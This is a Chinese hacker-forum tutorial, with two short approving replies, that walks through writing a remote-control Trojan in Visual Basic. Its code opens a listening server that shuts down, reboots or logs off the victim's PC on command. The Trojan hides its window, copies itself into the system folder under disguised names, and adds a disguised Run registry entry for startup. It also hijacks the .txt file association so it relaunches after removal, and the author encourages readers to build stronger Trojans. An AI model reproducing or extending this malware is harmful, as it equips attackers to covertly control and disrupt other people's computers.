利用VB实现木马攻击

touch_itpub

黑盟：冰血\n利用VB实现木马攻击\n\n首先，新建一工程，名为Server，新建一个窗体，Name为Server，在窗体中加入一个winsock控件，Name设为sckServer，协议设为默认的TCP／IP协议。 \n\n　　 接下来我们回来Server窗体模块中，添加如下代码： \n\nPrivate Sub form_Load() \n　 With Me \n　　 .sckServer.LocalPort = 88917/本地端口（呵呵！我的生日！） \n　　 .sckServer.Listen /开始监听 \n　 End With \nEnd Sub \n\n/接受客户端的连接请求。 \n\nPrivate Sub sckServer_ConnectionRequest(ByVal requestID As Long) \n　 With Me \n　　 If .sckServer.State <>sckClosed Then .sckServer.Close \n　　 .sckServer.Accept (requestID) \n　 End With \nEnd Sub \n\n　　 下面我们来建立客户端程序：新建一个工程，名为Client，把窗体名为Client，在上面加入一个winsock控件，名为sckClient，协议为TCP／IP协议。再加一个按钮cmdConnect在窗体模块中加入代码： \n\nPrivate Sub form_Load() \n　 With Me \n　　 .sckClient.RemoteHost = \"127.0.0.1\"/设置远程IP，本例设为本机。 \n　　 .sckClient.RemotePort = 88917 /远程端口,就为server中的设置一样. \n　 End With \nEnd Sub \n\nPrivate sub cmdConnect_Click() \n　 SckClient.Connect \nEnd sub \n\n　　 至此，单击Connect按钮我们的两个工程已经可以进行通信了，但看不见，你可以在Client中的sckClient_Connect事件中加入代码：debug.print “Connetion successful!”来查看。 \n\n　　 这仅是第一步，一点工作也做不了，下面我们来为它们添加功能。为了简单，本文章只实现一点小小的功能―――关机，重启，注销。好，开始吧！ \n\n　　 在Server工程中新建一个模块，Name为modApi，这个模快为一些API函数，添加如下API函数： \n\nPublic Declare Function ExitWindowXXX Lib \"user32\" Alias \"ExitWindowXXX\" (ByVal uFlags As Long, ByVal dwReserved As Long) As Long \n\nPublic Const EWX_LOGOFF = 0 \nPublic Const EWX_REBOOT = 2 \nPublic Const EWX_SHUTDOWN = 1 \nPublic Declare Function ClipCursor Lib \"user32\" Alias \"ClipCursor\" (lpRect As Any) As Long \n\nPublic Type RECT \n　 Left As Long \n　 Top As Long \n　 Right As Long \n　 Bottom As Long \nEnd Type \n\n　　 注：在两个socket中编程中，进行通信的重要事件是DataArrival事件，用于接收远程数据。 \n\n　　 下面在Client工程的Client窗体中放入三个按钮，分别为cmdExit,cmdLogoff,cmdReboot。它们用于对远程的关机，注销，重启操作。分别添加如下代码： \n\nPrivate Sub cmdExit_Click() \n　 Me.sckClient.SendData \"Exit\" \nEnd Sub \n\nPrivate Sub cmdLogoff_Click() \n　 Me.sckClient.SendData \"Logoff\" \nEnd Sub \n\nPrivate Sub cmdReboot_Click() \n　 Me.sckClient.SendData \"Reboot\" \nEnd Sub \n\n　　 全都是对服务端发出请求。下面转到Server工程中：在Server中添加sckServer的DataArrial事件，接收客户端的请求。 \n\nPrivate Sub sckServer_DataArrival(ByVal bytesTotal As Long) \n　 Dim strData As String \n　 With Me \n　　 / 接收客户请求的信息 \n　　 .sckServer.GetData strData \n　　 Select Case strData \n　　　 Case \"Exit\" \n　　　　 /关机 \n　　　　 Call ExitWindowXXX(EWX_SHUTDOWN, 0) \n　　　 Case \"Reboot\" \n　　　　 /重启 \n　　　　 Call ExitWindowXXX(EWX_REBOOT, 0) \n　　　 Case \"Logoff\" \n　　　　 /注销 \n　　　 Call ExitWindowXXX(EWX_LOGOFF, 0) \n　　 End Select \n　 End With \n\nEnd Sub \n\n　　 好了,到此我们已经实现功能了，但还不行，我们要它在背后运行。这简单，在Server中的form_Load事件中加入一句：me.hide。好这下看不见了，但大家知道木马是一开机就自动运行了，这又是为什么，怎么实现的？把它加入到注册表的启动组中？对，不错，跟我来吧！ \n\n　　 回到Server工程中的modApi中加入如下API函数： \n\nPublic Declare Function RegOpenKey Lib \"advapi32.dll\" Alias \"RegOpenKeyA\" (ByVal hKey As Long, ByVal lpSubKey As String, phkResult As Long) As Long \n\nPublic Declare Function RegSetvalueEx Lib \"advapi32.dll\" Alias \"RegSetvalueExA\" (ByVal hKey As Long, ByVal lpvalueName As String, ByVal Reserved As Long, ByVal dwType As Long, lpData As Any, ByVal cbData As Long) As Long \n\nPublic Declare Function RegCreateKey Lib \"advapi32.dll\" Alias \"RegCreateKeyA\" (ByVal hKey As Long, ByVal lpSubKey As String, phkResult As Long) As Long \nPublic Const REG_BINARY = 3 \n\nPublic Const REG_SZ = 1 \n\nPublic Const HKEY_LOCAL_MACHINE = &H80000002 \n\nPublic Const HKEY_CLASSES_ROOT = &H80000000 \n\n　　 写到注册表启动组中的过程。 \n\nPublic Sub StartupGroup() \n\n　 Dim sKey As String \n　 Dim result As Long \n　 Dim hKeyID As Long \n　 Dim sKeyVal As String \n\n　 sKey = \"Systrsy\" /启动组中的键,找一个与系统文件相近的。 \n　 sKeyVal = \"C:/windows/system/systrsy.exe\" /木马文件的路径，可以用GetSystemDirectory来取得系统路径。 \n　 result = RegOpenKey(HKEY_LOCAL_MACHINE, _ \n　　　 \"Software/Microsoft/Windows/CurrentVersion/Run\", hKeyID) \n　 If result = 0 Then \n　　 result = RegSetvalueEx(hKeyID, sKey, 0&, REG_SZ, sKeyVal, Len(sKey) + 1) \n　 End If \nEnd Sub \n\n　　 好，就这样简单地完成了。但是，想过没有，如果不是很菜的鸟，到注册表中见一删，我们苦苦的心血不就白白地浪费了吗？不行，还得想让他发现了删也删不掉。请看下面的代码： \n\nPublic Sub WriteToTxt() \n\n　 Dim result As Long \n　 Dim hKeyID As Long \n　 Dim skey As String \n　 Dim skeyVal As String \n\n　 skey = \"txtfile/shell/open/command\" \n　 skeyVal = \"C:/windows/system/txtView.exe\" \n　 result = RegOpenKey(HKEY_CLASSES_ROOT, skeyVal, hKeyID) \n\n　 If result = 0 Then \n　　 result = RegSetvalueEx(hKeyID, skey, 0&, REG_SZ, skeyVal, Len(skeyVal) + 1) \n　 End If \nEnd Sub \n\n　　 肯定不少朋友一看就知道了，原是与txt文件进行关联，一点也不错，但C:/windows/system/txtView.exe是哪里来的，我们的木马是C:/windows/system/systrsy.exe呀。这可是我们木马的分身了。 \n\n　　 好，回到Server工程的Server窗体的form_Load中，加入如下代码： \n\nDim sCurrentPath As String, sSystemDir As String \nsCurrentPath = App.Path & \"/\" & App.EXEName & \".exe\" \nsSystemDir = “C:/windows/system” \nOn Error Resume Next \n\n　 /复制文件成系统目录下的Systrsy.exe \n　 FileCopy sCurrentPath, sSystemDir & \"/Systrsy.exe\" \nOn Error Resume Next \n\n复制文件成系统目录下的txtView.exe \n\nFileCopy sCurrentPath, sSystemDir & \"/txtView.exe\" \n\n　　 调用 \n\nCall startupGroup \nCall WriteToTxt \n\n/判断程序是否下在运行 \n\nIf App.PrevInstance Then \n　 /如果已经运行就退出。 \nEnd \n\nEnd If \n\n　　 好了，写到这里一个破坏性木马已经诞生了，我实验过还是比较好的一个，希望大家也能写一个好的木马，能突破冰河(呵呵！) \n\n　　 注意： \n\n　　 1、大家在处理端口是最好使用高端端口，否则会和一些常用端口发生冲突 \n\n　　 2、在第一次使用VB.NET的最好看看有关的图书，可能你能写出一款超级木马

touch_itpub

我回）\n美女黑侠~\n    解释的很详尽，让我这没学过的VB盲人，也看了个明明白白~\n    有时只要能精通一门，特别是面向对象程序设计语言，他们的\n    API~和方法是很相近的~（注：应该是VBS吧~  ）

benbuerba

恩 不错不错 很详细好文章顶了 （嘿嘿啥都没看懂，偶是语言盲）